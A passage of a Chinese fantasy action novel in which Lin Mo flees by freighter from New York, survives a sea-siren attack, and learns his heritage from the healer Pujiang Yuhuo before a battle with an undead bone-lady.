沉重的石头,压在心头。
不能停!绝对不能停!
地道仿佛没有尽头。
只有手中“定星盘”冰凉的触感,和卷轴那越来越清晰的、指向东方的脉动,是唯一的指引。
不知跑了多久。
前方,终于出现一丝微弱的光亮。
还有……哗啦啦的水声,和海风特有的咸腥气息!
出口!
林默用尽最后力气冲出去!
冰冷的雨水瞬间浇透全身!
眼前,是纽约港混乱的码头区!
巨大的货轮如同钢铁巨兽,在雨夜中沉默矗立。起重机吊臂刺向阴沉的天空。集装箱堆叠如山。
海浪拍打着生锈的栈桥,发出沉闷的轰鸣。
“定星盘”的指针,此刻正剧烈震颤,死死指向停泊在不远处一艘破旧的中型货轮!
船体斑驳,锈迹爬满船舷。
船名依稀可辨:【远星号】。
“就是它!”林默心中一定。
但下一秒!
刺耳的破空声!
数道幽蓝色的能量光束,撕裂雨幕,精准地封锁了他所有前进路线!
轰!轰!轰!
水泥地面被炸出焦黑的坑洞!灼热的气浪扑面!
“目标锁定!坐标:码头区,远星号泊位!”第七执行员冰冷的声音,如同跗骨之蛆,从后方集装箱堆的高处传来!
他摆脱了梆子刘?!这么快?!
外骨骼在雨夜中闪烁着不祥的幽蓝。
同时!
轰隆!
另一侧,沉重的脚步声踏碎积水!
金刚门那两个魁梧光头,如同人形坦克,撞开雨幕冲来!脸上带着狞笑!
“小子!看你往哪跑!”
秃鹫的身影也鬼魅般出现在一个集装箱顶,目光复杂地锁定林默。
三方围堵!
绝境!
林默的心沉入谷底。
卷轴在怀中疯狂发烫!左眼的金色星点几乎要**!身体摇摇欲坠!
“上船!”一个沙哑苍老、带着浓重海腥味的吼声,突然从【远星号】船舷传来!
一个穿着油腻雨衣、满脸风霜皱纹的老船长,探出半个身子,焦急地挥舞着手臂!
“快!跳过来!”他指着船舷垂下的绳网!
跳过去?
隔着十几米汹涌的海面!还有能量光束封锁!
“找死!”第七执行员冷笑,枪口再次亮起幽蓝!
金刚门光头咆哮着加速!
秃鹫眼神闪烁,似乎在权衡!
林默看着那在风雨中飘摇的绳网,看着老船长焦急的脸。
梆子刘用命换来的生路……陈伯的托付……
“啊——!”绝望化作怒吼!
他不再犹豫!
用尽全身残存的力量,甚至不顾卷轴反噬的剧痛,猛地将那股狂暴灼热的力量灌注双腿!
蹬地!
身体如同离弦之箭,朝着绳网的方向,不顾一切地跃出!
人在半空!
幽蓝的能量光束,如同死神的镰刀,再次射来!
金刚门光头巨大的拳头,带着罡风,也几乎要触及他的后背!
千钧一发!
“定星盘!”老船长嘶吼!
嗡!
林默下意识将紧握的“定星盘”挡在身前!
嗡——!
定星盘上古老的铜绿纹路,骤然亮起一层微弱的、淡金色的光晕!
如同一个脆弱的蛋壳!
轰!轰!
能量光束和拳风,狠狠撞在淡金光晕上!
光晕剧烈波动,瞬间布满裂纹!
巨大的冲击力,如同重锤砸在林默胸口!
噗!
他狂喷出一口鲜血!鲜血中夹杂着刺目的金丝!
身体像断线风筝,被狠狠砸飞!
方向,却正是绳网!
噗通!
他重重砸在湿滑摇晃的绳网上!剧痛几乎让他昏厥!
“拉!”老船长怒吼!
绳网迅速被绞盘拉起!
“该死!”第七执行员怒骂,能量枪疯狂扫射!
金刚门光头怒吼着,试图跳上栈桥边缘的系缆桩!
秃鹫动了!他如鹞鹰扑下,目标不是林默,而是绞盘绳索!
“哼!”老船长眼中厉色一闪!
他猛地一跺甲板!
一股无形的、带着大海腥咸狂野的气息,轰然扩散!
“惊涛!”
哗啦——!
【远星号】船身周围,原本汹涌的海浪,如同被无形巨手操控,猛地掀起一道数米高的浑浊水墙!
如同海神的咆哮!
狠狠拍向栈桥边缘的追击者!
轰隆——!
巨大的浪头,带着万吨海水之力,将第七执行员、金刚门双胞胎和秃鹫,硬生生拍得倒飞回去!狼狈不堪!
水墙落下,【远星号】庞大的船体,已经在低沉的汽笛声中,缓缓离开泊位,驶入漆黑汹涌的纽约湾!
“坐标已锁定!目标:远星号!航向:东!”第七执行员抹去脸上的海水,声音冰冷如铁。“通知‘海妖’!拦截!”
金刚门光头暴跳如雷:“追!租船!追到天涯海角!”
秃鹫站在湿漉漉的栈桥上,看着远去的货轮,眼神深邃。
“魔都……浦江渔火……有意思。”
他转身,悄无声息地消失在雨夜中。
【远星号】上。
林默瘫倒在湿冷的甲板上,剧烈咳嗽,每一次都
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咳出带着金丝的血沫。
左眼的金色星点连成一片,视野血红,看人都带着重影。
身体像被彻底撕裂,经脉中残留的灼热力量在疯狂肆虐。
“后生!撑住!”老船长蹲下来,粗糙的大手按住林默手腕。
一股温和却坚韧如礁石的气息,试图探入林默体内。
嗡!
卷轴的滚烫脉动猛地一涨!
老船长闷哼一声,触电般缩回手!指尖竟被灼伤!
“好霸道的‘天工火’!”他脸色凝重,看着林默怀中那被油布包裹的卷轴。“怪不得梆子刘那老东西……”
他迅速从油腻的雨衣口袋里掏出一个锡制小酒壶,拧开盖子。
一股浓烈刺鼻的药酒味弥漫开来。
“喝!”他不由分说,将壶口怼到林默嘴边。
辛辣滚烫的液体灌入喉咙!
如同吞下烧红的火炭!
“呃啊!”林默痛苦蜷缩。
但紧接着,一股奇异的暖流在胃里化开,带着深海寒流般的凉意,竟稍稍压制了经脉中那股狂暴的灼热!
左眼的金色星点也消退了一丝。
“老……老船长……”林默喘息着,声音嘶哑。“谢谢……”
“谢个屁!”老船长收起酒壶,骂骂咧咧。“老子叫‘礁石’!受人之托,忠人之事!梆子刘那老梆子,死前就传讯让我在这等着!”
他站起身,望向漆黑汹涌的海面,目光锐利如鹰。
“不过,麻烦才刚开始。”他声音低沉。“‘圣堂’的狗鼻子灵得很,‘海妖’那娘们……更不是省油的灯!”
“海妖?”林默心头一紧。
“塞壬。”礁石船长吐出一个古老的名字,带着深深的忌惮。“能用歌声把人的魂勾走,把钢铁巨轮揉成麻花的……怪物。圣堂养在深海里的猎犬。”
他拍了拍湿冷的船舷。
“这【远星号】,是老伙计了。但能不能扛过接下来的风浪……看老天爷赏不赏脸了!”
“向东!全速!”他对着驾驶舱方向吼道。
呜——!
【远星号】发出沉重的轰鸣,破开雨幕和巨浪,向着茫茫无际、杀机四伏的大西洋深处,全速前进!
甲板上。
林默挣扎着坐起,背靠着冰冷的集装箱。
怀中卷轴依旧滚烫,但有了定星盘的冰凉和那口药酒的压制,反噬稍稍平复。
他紧紧攥着布满铜绿的“定星盘”。
指针,坚定地指向东方。
魔都。浦江渔火。
身后,是纽约冰冷的雨夜,和两位守护者用生命铺就的血路。
前方,是未知的怒海,和更凶险的猎杀。
他抹去嘴角带着金丝的血迹。
眼中,那来自亘古蛮荒的、燃烧着血与火的冰冷光芒,在雨夜的海上……
第一次,没有因痛苦而熄灭。
反而,更加凝聚。
第五章 海妖之歌
【远星号】如同一头负伤的钢铁巨兽,在漆黑狂暴的大西洋上挣扎前行。
冰冷的雨水和咸腥的海浪,疯狂抽打着斑驳的船体。甲板在巨浪中倾斜、**。
林默背靠冰冷的集装箱,每一次呼吸都带着灼痛和血腥。
礁石船长伫立舰桥,花白的头发被海风扯乱,眼神如鹰隼,死死盯着前方翻滚的墨色海面。
“船长!声呐有异常!”驾驶舱传来大副紧张的声音。“水下……有东西!很大!速度极快!”
礁石船长脸色一沉。
“来了!全船戒备!捂住耳朵!”他抓起船内广播,声音嘶吼,穿透风雨和海浪的咆哮!“是‘塞壬’!”
话音刚落!
呜——!!!
一种无法形容的、悠扬缥缈的歌声,骤然在海天之间响起!
它无视狂暴的风雨和海浪的轰鸣,直接钻入每个人的脑海!
温柔,空灵,带着难以抗拒的诱惑。
仿佛母亲最温柔的摇篮曲,又似情人最甜蜜的低语。
瞬间!
甲板上几个年轻水手的眼神变得迷离,脸上露出痴迷的笑容,脚步不由自主地迈向船舷!
“醒来!”礁石船长怒吼,一掌拍在舰桥栏杆上!沉闷的响声带着某种奇特的韵律,震得附近水手一个激灵!
但歌声的力量太强了!
更多的水手陷入恍惚,如同提线木偶,痴笑着走向死亡边缘!
林默也感到一阵强烈的眩晕!脑海中浮现出拾古斋的温暖灯光,陈伯修补书页的侧影……一种沉溺的冲动涌起!
“哼!”怀中卷轴猛地一烫!左眼的金色星点剧烈闪烁!
一股源自洪荒的冰冷苍茫感,强行驱散了脑海中的靡靡之音!
他猛地咬破舌尖!剧痛让他彻底清醒!
“定星盘!”礁石船长对他吼道!
林默会意,强忍经脉灼痛,将定星盘举在身前!
嗡!
铜绿罗盘再次亮起一层微弱的淡金光晕,范围扩大,勉强笼罩住舰桥附近!
陷入恍惚的水手们被金光一照,如同冷水浇头,猛地惊醒,瘫软在地,心有余悸!
“谢……谢谢小兄弟!”
“别松懈!”礁石船长脸色没有丝毫放松。“这只是开胃菜!”
轰隆——!!!
船体右侧的海面,猛地炸开一个巨大的漩涡!
一条直径超过两米、布满暗青色吸盘和粘液的巨大触手,如同来自深渊的魔鞭,撕裂海面,带着万吨海水之力,狠狠抽向【远星号】的船身!
“右满舵!规避!”礁石船长嘶吼!
呜——!
【远星号】庞大的身躯在巨浪中艰难转向!
轰!!!
触手擦着船尾扫过!坚硬的钢铁船舷如同纸糊般被撕裂!留下数米长的恐怖豁口!冰冷的海水疯狂倒灌!
“堵漏!快!”大副嘶声力竭!
“没用的!”礁石船长眼神凝重。“这只是它的一条‘手指’!”
仿佛印证他的话。
轰!轰!轰!
船体四周的海面,接二连三地炸开!
又是三条同样恐怖的巨大触手破水而出!如同囚笼的栅栏,将【远星号】死死围困在中央!
每条触手上,都布满了闪烁着幽光的诡异符文!
塞壬的歌声,陡然变得高亢、尖锐!
如同无数根钢针,狠狠刺入所有人的耳膜和脑海!
“呃啊——!”定星盘的金光剧烈波动,范围急剧缩小!舰桥外的水手再次陷入痛苦哀嚎!
林默感觉脑袋像要炸开!卷轴的灼热和歌声的侵蚀在体内疯狂对冲!咳出的血沫,金色丝线更加浓郁!
“船长!怎么办?!”大副捂着流血的双耳,绝望喊道。
礁石船长死死盯着那四条搅动风云的巨大触手,眼中闪过决绝。
“怎么办?”他猛地扯开油腻的雨衣,露出里面一件洗得发白的、绣着简陋海浪纹的坎肩。
“干**!”
他一步踏出舰桥,来到**的船头!
双脚如同生根,钉在剧烈摇晃的甲板上!
一股磅礴、坚韧、如同万年礁石般的气息,从他佝偻的身躯中轰然爆发!
“后生!”他头也不回,声音在风雨和海妖之歌中炸响!“看好了!什么是‘惊涛’!”
他双手虚抱,仿佛揽住了整片狂暴的大海!
脚下甲板,古老的木质纹理,竟亮起微弱的蓝色光纹!
“叠浪!九重!”
礁石船长双臂猛地向上一抬!
轰!轰!轰!轰!
【远星号】周围的海面,如同沸腾!四道比之前更加狂暴、更加凝练的巨浪,如同听从号令的海之巨人,轰然拔地而起!
每一道巨浪都高达十数米!层层叠加!带着碾碎一切的恐怖威势!
狠狠撞向那四条围拢而来的巨大触手!
轰隆隆隆——!!!
震耳欲聋的恐怖撞击声,压过了塞壬的歌声和海浪的咆哮!
海水与粘液、巨浪与触手,疯狂对撞!
墨绿色的粘液和腥臭的海水如同暴雨般泼洒在甲板上!
巨大的冲击力让【远星号】如同玩具般被抛起,又狠狠砸落!
“顶住!”礁石船长须发皆张,双臂肌肉贲张,青筋如同虬龙!他脚下的蓝色光纹炽盛到了极点!
四条巨大触手被狂暴的九重叠浪硬生生撞得倒卷回去!发出痛苦的、非人的嘶鸣!
塞壬的歌声,第一次出现了紊乱!
“好!”林默看得热血沸腾!这就是守护者的力量!
但下一秒!
礁石船长身体猛地一晃!脸色瞬间变得惨白如纸!一口鲜血狂喷而出!染红了胸前的海浪坎肩!
脚下的蓝色光纹瞬间黯淡!
强行催动远超自身极限的力量,代价巨大!
“船长!”林默和大副同时惊呼!
“别过来!”礁石船长厉喝,声音带着虚弱的沙哑。“还没完!”
海面下,塞壬被彻底激怒了!
呜——!!!!
歌声变得怨毒、疯狂!充满了毁灭的意志!
被击退的四条触手再次扬起!更可怕的是,海面下,一个更加庞大、更加恐怖的阴影,正在急速上浮!
船体周围的海水,开始诡异地旋转、压缩!
一股无形的、足以将万吨巨轮揉成铁饼的恐怖巨力,从四面八方挤压而来!
钢铁船身发出令人牙酸的**和变形声!
“空……空间挤压?!”大副面无人色!
“是‘深海之握’!”礁石船长嘴角淌血,眼神却燃烧着不屈的火焰。“塞壬的杀招!”
他试图再次引动海浪,但脚下的光纹微弱得几乎熄灭!身体摇摇欲坠!
定星盘的金光在空间挤压下,如同风中残烛,随时会熄灭!
绝望,笼罩了整艘【远星号】!
塞壬的阴影,已经清晰可见!那是一个难以名状的、由无数触手和扭曲肉块组成的庞大躯体!中心,隐约可见一张巨大而妖异的
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、正在歌唱的嘴!
死亡的阴影,扼住了所有人的咽喉!
林默死死攥着怀中滚烫的卷轴!
陈伯的托付!梆子刘的遗言!礁石船长的血!
“不——!!!”
极致的绝望与愤怒,如同火山般在胸腔爆发!
他不再压制!不再恐惧!
主动将全部心神,沉入怀中那滚烫的、狂暴的洪荒之源!
“天工火!烧啊!!!”
嗡——!!!!
前所未有的恐怖热浪,从林默体内炸开!
他整个人仿佛变成了一个小太阳!刺目的暗金色光芒透体而出!
左眼的金色星点瞬间燃烧!视野化为一片纯粹的金色火海!
嗤啦!
手中紧握的“定星盘”,承受不住这股突如其来的、远超极限的霸道力量,发出一声哀鸣,铜绿表面瞬间布满蛛网般的裂痕!
但定星盘碎裂的瞬间,其内部蕴含的最后一丝古老力量,也被彻底引爆!化作一道微弱却精纯的引导光束,汇入林默体内那狂暴的暗金洪流!
轰!
一道凝练到极致、仿佛能切开混沌的暗金光柱,从林默掌心喷薄而出!
不再是之前的光弧!
是光柱!
带着焚尽八荒、开天辟地的无上意志!
目标,直指海面下塞壬那张正在歌唱的、妖异巨口!
快!
超越思维!
塞壬怨毒的歌声戛然而止!取而代之的是一声惊恐到极致的、非人的尖啸!
轰——!!!!!!!!!!!
暗金光柱,如同神罚之矛,狠狠贯入深海!
精准地刺入那张巨口!
时间仿佛凝固了一瞬。
下一刻!
无法形容的恐怖**,在深海之中爆发!
一个巨大的、暗金色的光球,以塞壬为中心,猛地膨胀开来!
光球所过之处,海水瞬间被蒸发、湮灭!四条巨大的触手如同脆弱的蜡像,在金光中寸寸瓦解、汽化!
狂暴的冲击波裹挟着亿万度的高温蒸汽,形成一道连接海天的巨大水柱,冲天而起!
【远星号】被这股无法抗拒的巨力狠狠推飞出去!如同狂风中的落叶!
甲板上所有人都被震飞!
礁石船长看着那道贯穿天海的暗金光柱,看着光柱源头那个如同金焰战神般的身影,浑浊的老眼中,爆发出前所未有的光芒!
“天工……开武……”他喃喃道,带着无尽的震撼与……欣慰。
随即,他眼前一黑,彻底失去了意识。
暗金光柱缓缓消散。
海面上,留下一个巨大的、沸腾的漩涡。
塞壬那庞大扭曲的躯体,连同恐怖的歌声,彻底消失无踪。
只有一些焦黑的、冒着青烟的碎块,漂浮在沸腾的海面上,散发着刺鼻的恶臭。
雨,不知何时停了。
铅灰色的云层裂开一道缝隙。
一缕破晓的曙光,艰难地穿透云层,洒在伤痕累累、死里逃生的【远星号】上。
甲板一片狼藉。
林默身上的暗金光芒已经褪去。
他如同被抽干了所有骨髓和血液,直挺挺地倒在冰冷的甲板上。
左眼紧闭,眼角流下两道金色的血泪。
右手掌心,一片焦黑。
怀中,那卷轴滚烫依旧,却多了一丝奇异的……温顺?
碎裂的定星盘残片,散落在身旁。
他最后看到的。
是那缕穿透云层的……
东方曙光。
第六章 武魂薪传
黑暗。
粘稠,冰冷,无边无际的黑暗。
林默感觉自己像一块沉入深海的顽石,被冰冷和剧痛包裹。
经脉里残留的“天工火”余烬,如同无数烧红的烙铁,灼烤着残破的躯体。
每一次微弱的心跳,都牵扯着撕裂般的痛楚。
左眼,仿佛被熔金封死,只剩下永恒的灼痛与黑暗。
右手掌心,焦黑的皮肉下,是深入骨髓的麻木。
“陈伯……梆子刘……礁石……”
破碎的名字,带着血与火的记忆碎片,在意识的深渊中沉浮。
守护者的背影,在**的强光中支离破碎。
为什么?
为什么要为我而死?
意识,在剧痛与混沌的漩涡中,艰难地向上挣扎。
一丝微弱的光。
还有……一种奇异的、如同深海暗流般平稳的气息。
他努力掀开沉重的眼皮。
右眼视野模糊,布满血丝。
映入眼帘的,是低矮、倾斜的木梁。空气里弥漫着浓烈的草药苦香、陈年木头的潮气,还有……淡淡的鱼腥味。
一盏昏黄的油灯,在角落静静燃烧,火苗稳定得不似凡物。
他躺在一张铺着厚厚干草和粗布的硬榻上。
“醒了?”
一个苍老、温和,却带着难以言喻厚重感的声音响起。
林默艰难地转动僵硬的脖颈。
榻边,坐着一个老人。
身形不高,甚至有些佝偻。穿着一件洗得发白、打满补丁的靛蓝色粗布褂子。
脸庞清癯,皱纹深刻如刀刻,记录着风霜。一双眼睛却异常明亮,温和中透着看透世事的沧桑与智慧。
最引人注目的,是他手中。
三根细如牛毫、闪烁着温润银芒的长针。
针尖,正悬停在林默焦黑的右手掌心上方,微微震颤,发出几乎不可闻的嗡鸣。
随着针尖的震颤,一股温和如春水、却又坚韧如海底暗流的奇异能量,正源源不断地渗入林默焦糊的皮肉和灼伤的经脉深处。
那狂暴肆虐的“天工火”余烬,竟在这股温和力量的梳理下,如同被安抚的野兽,一点点平息、收敛!
剧痛,奇迹般地缓解了一丝。
“前……前辈……”林默声音嘶哑干裂,如同破锣。“是您……救了我?”
老人没有立刻回答。
他全神贯注于手中的银针,动作轻柔而精准,仿佛在雕琢一件稀世珍宝。
“经脉寸断,武魂本源受天工火反噬,几近枯竭。”他缓缓开口,声音如同古井无波。“左眼‘神阙’被霸道的火气灼穿,灵光已黯。右手‘劳宫’焦毁,窍穴半废。”
每一句诊断,都像冰冷的锤子,砸在林默心头。
“能活下来……”老人终于抬起眼,那双明亮的眸子深深看了林默一眼。“靠的是你骨子里那点不肯熄灭的‘火’,还有陈守拙、刘三梆、石敢当三个老东西……用命替你争来的一线生机。”
陈守拙?刘三梆?石敢当?
林默茫然。随即猛地反应过来!
陈伯!梆子刘!礁石船长!
“您……认识他们?!”林默激动地想撑起身子,却牵动伤势,痛得眼前发黑,剧烈咳嗽起来,咳出的血沫依旧带着暗淡的金丝。
“躺好。”老人声音温和,却带着不容置疑的力量。一枚银针不知何时已轻轻刺入林默颈侧。
一股清凉气息瞬间涌入,压制了翻腾的气血和咳意。
“老夫,浦江渔火。”老人平静地说出这个名字。
浦江渔火!
林默心神剧震!陈伯遗言中唯一的生路!梆子刘最后托付的对象!
“前辈!陈伯让我……”
“我知道。”渔火打断他,目光落回那三根银针上。“他们三个的使命,就是把你,和那半卷图,送到我面前。”
使命?
林默心中疑云更重。
“为什么?”他嘶声问,右眼死死盯着渔火。“他们为什么为我而死?这卷轴到底是什么?守卷人……又是什么?”
渔火沉默了片刻。
油灯的火苗在他眼中跳跃。
“因为,”他缓缓开口,声音带着穿透时光的沉重,“你是‘守卷人’的血脉。最后的血脉。”
守卷人血脉?!
林默如遭雷击!这个称谓,在卷轴力量爆发时曾在他混乱的意念中出现过!
“守卷人……是什么?”
“是‘武魂’的看守者。”渔火的声音低沉下去。“也是这方天地,最后一道屏障的……守墓人。”
他指尖轻轻一弹。
嗡!
三根银针的震颤频率骤然改变!
一股更宏大、更苍凉的气息,顺着针尖,温柔却不容抗拒地涌入林默残破的身体!
轰!
林默的脑海猛地一震!
眼前不再是昏暗的小屋。
而是一片浩瀚无垠、燃烧着无尽战火的破碎星空!
无数巨大的、形态狰狞的金属造物悬浮于星海,投下毁灭的光束!
大地崩裂,山河倾覆!
无数身影在抵抗,有人类,有身披古老甲胄的战士,有驾驭飞剑的修士,有操纵奇异能量的异能者……但都在那毁灭性的力量下,如同蝼蚁般灰飞烟灭!
绝望!整个文明的绝望!
就在此时!
星空的深处!
一道难以形容其伟岸的身影显现!
祂并非血肉之躯,仿佛由亿万星辰的光芒、不屈的战意、以及整个星球最后的生机凝聚而成!
地球武魂!
那身影抬手!
祂的核心处,一卷古老的图卷虚影缓缓展开!散发出**寰宇、再造乾坤的浩瀚伟力!
光芒所至,外星战舰如同沙堡般崩塌!
破碎的星空,被强行弥合!
濒临熄灭的文明之火,被重新点燃!
画面破碎!
林默大口喘息,浑身被冷汗浸透!
刚才那景象……是幻觉?还是……记忆?
“那是……‘天工开武图’全盛之时。”渔火的声音将他拉回现实,带着深深的缅怀与痛惜。“地球‘武魂’显化,借由图卷之力,挽天倾于既倒。”
“但那一战,‘武魂’本源重创,陷入永恒的沉眠。‘天工开武图’也
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在最终对抗中,被未知的恐怖力量撕裂,半卷失落于时空乱流……”
渔火的目光,落在林默怀中那被油布包裹的卷轴上。
“而你怀中这半卷,是‘钥匙’,也是‘火种’。它承载着‘武魂’沉睡前的最后印记,也蕴藏着唤醒祂、甚至补全祂的一线可能!”
他看向林默,眼神锐利如刀。
“陈守拙、刘三梆、石敢当,还有老夫……我们四人,是上一代‘守卷人’选定的‘持炬者’。”
“我们的使命,就是在‘钥匙’重现人间,在‘守卷人’血脉出现时……”
“用我们的命,护住这点火种!护住这最后一丝……武魂复苏的希望!”
“而你,”渔火的指尖,轻轻点向林默的心口,一股苍凉厚重的意志顺着针尖传递过来。“林默!你体内流淌的,是‘守卷人’最后的血!是地球‘武魂’在这人间,最后的锚点!”
“你的存在本身,就是‘天工开武图’选择你的原因!也是那些域外之敌……不惜一切代价,要抹杀你的原因!”
轰!
渔火的话,如同九天神雷,狠狠劈在林默的灵魂深处!
所有的疑惑,所有的悲痛,在这一刻……找到了残酷的答案!
陈伯的守护,梆子刘的断后,礁石船长的搏命……
不是为了他林默。
是为了他体内流淌的血脉!
为了那半卷图!
为了这方天地,那渺茫却唯一的……未来!
巨大的责任,如同冰冷的枷锁,瞬间勒紧了他的心脏!
沉重得……令人窒息。
“所以……”林默的声音干涩无比,右眼死死盯着渔火。“您也是……要为我而死的‘持炬者’?”
渔火苍老的脸上,露出一丝极其复杂的笑容。
有悲悯,有决绝,也有一丝……难以察觉的疲惫。
“薪火相传,总有燃尽之时。”他缓缓收回银针。
林默掌心那焦黑的伤口,竟已生出淡粉色的新肉!经脉中的灼痛也大为缓解!
“但老夫这把老骨头,还能再烧一会儿。”
他站起身,佝偻的背影在昏黄油灯下,却仿佛能扛起整片天空。
“当务之急,是把你这个‘火种’,从快熄灭的边缘……”
“拉回来!”
他目光投向小屋紧闭的木门,眼神瞬间变得如出鞘利剑般冰冷。
“而且,‘客人’们……似乎已经等不及了。”
几乎在他话音落下的同时!
呜——!
一声低沉诡异、仿佛来自九幽地狱的号角声,穿透厚厚的木板,清晰地传了进来!
带着令人灵魂冻结的森寒!
小屋外。
浑浊的黄浦江水,无声地沸腾、旋转。
一个巨大的、由浑浊江水和惨白骸骨构成的漩涡,正在江心缓缓形成!
漩涡中心。
一座由无数扭曲肢体和痛苦面孔垒砌而成的、巨大的惨白色骸骨之门……
正在缓缓升起!
门缝中。
浓郁到化不开的、带着硫磺与血腥味的黑气……
喷涌而出!
第七章 白骨叩门
呜——!
那来自九幽的号角声,再次穿透木门!
冰冷!死寂!带着冻结灵魂的森寒!
小屋内的空气温度骤降!昏黄的油灯火苗疯狂摇曳,几欲熄灭!
“来了!”浦江渔火佝偻的背脊瞬间挺直,浑浊的老眼爆射出慑人精光!哪里还有半分老态?
他手中三根温润银针,瞬间绷得笔直!针尖嗡鸣,激荡起凌厉的锋芒!
“好……好冷!”林默牙齿打颤,重伤未愈的身体对这森寒之气尤为敏感,如坠冰窟!右眼视野中的血色似乎都被冻得凝固。
“幽冥寒号,白骨叩门!”渔火声音凝重如铁。“是‘骸渊’的爪牙!冲着武魂火种和守卷人血脉来的!”
他一步踏到林默榻前,枯瘦的手掌快如闪电,在林默胸前几处大穴连拍!
噗!噗!噗!
三根银针,带着渔火沛然莫御的温和力量,精准刺入林默心口、丹田、眉心!
嗡!
一股坚韧如海底礁石、温暖如初阳的力量瞬间扩散,形成一层无形的护罩,勉强隔绝了那刺骨的幽冥寒气!
林默感觉冻僵的血液重新流动,但身体的虚弱和左眼的剧痛依旧。
“待着别动!”渔火厉喝,转身面向木门。“老夫去会会这些腌臜东西!”
吱呀——
他猛地拉开那扇看似单薄的木门!
门外,并非预想中的黄浦江岸。
而是一片……扭曲的景象!
浑浊的江水消失了。
取而代之的,是一片望不到边际、由惨白骸骨铺就的荒原!
天空是凝固的铅灰色,没有日月星辰。
空气中弥漫着浓烈的硫磺、血腥和……尸体腐烂的甜腻恶臭!
就在这骸骨荒原的中心。
那座由无数扭曲肢体和痛苦面孔垒砌而成的、巨大的惨白色骸骨之门,已经彻底成型!
高达数十米!门扉紧闭!
浓郁如墨、带着硫磺味的黑气,如同活物般从门缝中不断渗出,翻滚蠕动!
呜——!
号角声第三次响起!
这一次,源自骸骨之门的顶端!
一个纤细得近乎诡异的身影,静静矗立。
她穿着由无数细小、晶莹的婴儿指骨编织成的惨白长裙,赤着双足,足踝纤细苍白。
脸上覆盖着一张同样由细小骸骨拼成的面具,只露出两团幽幽燃烧的、没有瞳孔的惨绿色火焰!
“交出……守卷人……和钥匙……”
她的声音,并非从口中发出,而是直接在所有人的灵魂深处响起!
尖细,冰冷,带着无数重叠的回响,如同亿万亡魂的呓语!
仅仅是声音,就让林默脑海剧痛,眼前幻象丛生!无数扭曲痛苦的面孔在视野中哀嚎!
“聒噪!”渔火一声断喝,如同洪钟大吕!蕴含浩然正气的音波瞬间冲散了灵魂中的呓语!
他一步踏出小屋门槛!
脚踏在惨白的骸骨荒原上!
佝偻的身形,在这一刻,仿佛与身后小屋、与脚下大地连为一体,散发出顶天立地的磅礴气势!
“魔都地界,华夏之土!”渔火声音不高,却字字如刀,斩钉截铁!“岂容尔等魑魅魍魉,撒野放肆?!”
他手中,不知何时又多出了六根银针!
九针齐现!
“滚回你们的骸骨深渊!”渔火眼中厉芒一闪!
咻!咻!咻!咻!咻!咻!
六根银针化作六道肉眼难辨的银线,撕裂凝固的空气,带着刺耳的尖啸,直射骸骨之门顶端的白骨夫人!
快!准!狠!直取眉心、咽喉、心口等要害!
“蝼蚁……反抗……”
白骨夫人面具下的绿火跳动,带着一丝不屑。
她甚至没有移动。
骸骨之门上,无数痛苦扭曲的面孔猛地睁开空洞的眼眶!
嗤嗤嗤——!
浓郁如墨的黑气瞬间凝聚成数十条粘稠的、带着倒刺的触手,如同群蛇乱舞,精准地卷向飞射而来的银针!
银针上蕴含的沛然正气与黑气触手碰撞!
发出“滋滋”的腐蚀声!
银光在黑气中艰难穿行,速度锐减!
“哼!邪祟之气!”渔火须发皆张,双手虚抱,如同揽住整片荒原的气机!
“定海!镇渊!”
嗡!
他脚下惨白的骸骨大地,竟隐隐亮起一层微不可察的淡蓝色光晕!如同无形的锁链,试图禁锢这片被侵蚀的空间!
同时,那六根被黑气缠绕的银针,光芒大盛!如同六颗微缩的星辰,爆发出更强大的净化之力!
噗!噗!噗!
三条黑气触手被银针强行贯穿、净化!
但更多的触手蜂拥而至!
“没用的……深渊……之力……无穷……”白骨夫人的呓语带着嘲弄。
骸骨之门剧烈震动!
门缝中,浓郁的黑气喷涌得更加汹涌!
无数惨白的、大小不一的骸骨,如同被赋予了生命,从骸骨荒原上“站”了起来!
骷髅士兵!骸骨巨兽!由无数细小骨骼组成的怪异飞虫!
一支纯粹由死亡构成的亡灵大军,在白骨夫人的号角声中,发出无声的咆哮,如同白色的死亡潮汐,向着小屋和渔火汹涌扑来!
杀气滔天!死意弥漫!
小屋如同惊涛骇浪中的一叶扁舟!
林默躺在榻上,透过洞开的木门,看着那铺天盖地的骸骨狂潮,心脏几乎停止跳动!
重伤的身体在死亡威胁下本能的颤抖!
但!
怀中那沉寂的卷轴,在感受到这纯粹死亡与深渊的气息时,猛地一颤!
一股微弱却无比清晰的……愤怒!
如同沉睡巨龙的逆鳞被触动!
轰!
林默的脑海再次一震!
这一次,并非宏大记忆。
而是一股源自血脉深处的、古老而霸道的意志!
不屈!守护!破灭邪祟!
嗡!
刺入他心口、丹田、眉心的三根银针,仿佛被这股意志点燃!
渔火留在他体内、用以压制伤势的温和力量,瞬间被引动、转化!
不再是礁石的坚韧!
而是……燎原的星火!
一股微弱却带着焚尽八荒雏形的灼热力量,不受控制地从林默残破的丹田升起!
“呃啊!”林默发出一声痛苦与激昂混杂的低吼!
他仅剩的右眼,瞳孔深处,一点暗金色的火星,骤然亮起!
虽然微弱,却带着洞穿虚妄、直指本源的力量!
他的目光,穿透了汹涌的骸骨狂潮!
死死锁定了骸骨之门顶端,白骨夫人面具下……那两团幽幽燃烧的惨绿色魂火!
那才是核心!
“渔……渔火前辈!”林默用尽力气嘶吼,声音因剧痛和激动而扭曲。“她的魂火!在面具后面!”
正被骸骨大军和黑气触手**的渔火,闻言猛地一震!
眼中爆发出难以置信的精光!
“好小子!”他狂笑一声,声震荒原!“不愧是守卷人的种!
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”
渔火双手印诀猛然一变!
“九针归元!破妄!”
嗡!
那六根正在与黑气触手纠缠的银针,以及刺入林默体内的三根银针,同时爆发出前所未有的璀璨银光!
九道银光,如同九条银河倒卷!
瞬间摆脱纠缠!
在空中划出玄奥的轨迹!
九针合一!
化作一道凝练到极致、带着洞穿九幽、净化万邪无上意志的银色光梭!
目标!
直指白骨夫人面具下的惨绿色魂火!
快!
超越死亡!
白骨夫人第一次发出了惊恐的尖啸!
“不——!!!”
她身下巨大的骸骨之门上,所有痛苦面孔齐齐发出无声的哀嚎!浓郁的黑气疯狂涌向她的面具,试图阻挡!
但!
晚了!
银色光梭,无视了一切阻碍!
带着渔火毕生修为的精华,带着林默血脉点燃的星火指引!
如同热刀切牛油!
精准地……贯穿了那两团惨绿色的魂火!
噗嗤!
如同气泡破裂的轻响。
白骨夫人面具下的惨绿火焰,瞬间熄灭!
她纤细的身体猛地一僵。
覆盖全身的婴儿指骨长裙,寸寸碎裂、剥落!
